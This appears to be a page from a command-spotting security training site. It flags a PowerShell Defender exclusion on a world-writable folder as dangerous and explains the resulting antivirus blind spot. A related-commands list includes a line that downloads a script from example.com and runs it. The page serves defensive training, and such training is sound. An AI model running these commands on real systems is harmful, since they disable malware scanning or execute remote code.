Dangerous
Add-MpPreference -ExclusionPath C:\Users\Publicwindows · powershell · Expert
Tells Defender to stop scanning a world-writable directory. The cmdlet is legitimate and the change is quiet, but it creates a blind spot exactly where an unprivileged user can drop files.
Signals to notice
- Creates an antivirus blind spot
- Excluded path is world-writable
- No file activity to alert on
Think you can spot these under time pressure?
Start TrainingMore PowerShell
Get-WinEvent -LogName Security -MaxEvents 50ExpertGet-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpertInvoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1ExpertGet-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmareGet-ExecutionPolicy -ListIntermediateGet-Alias iex, irm, iwr | Select-Object Name, DefinitionAdvanced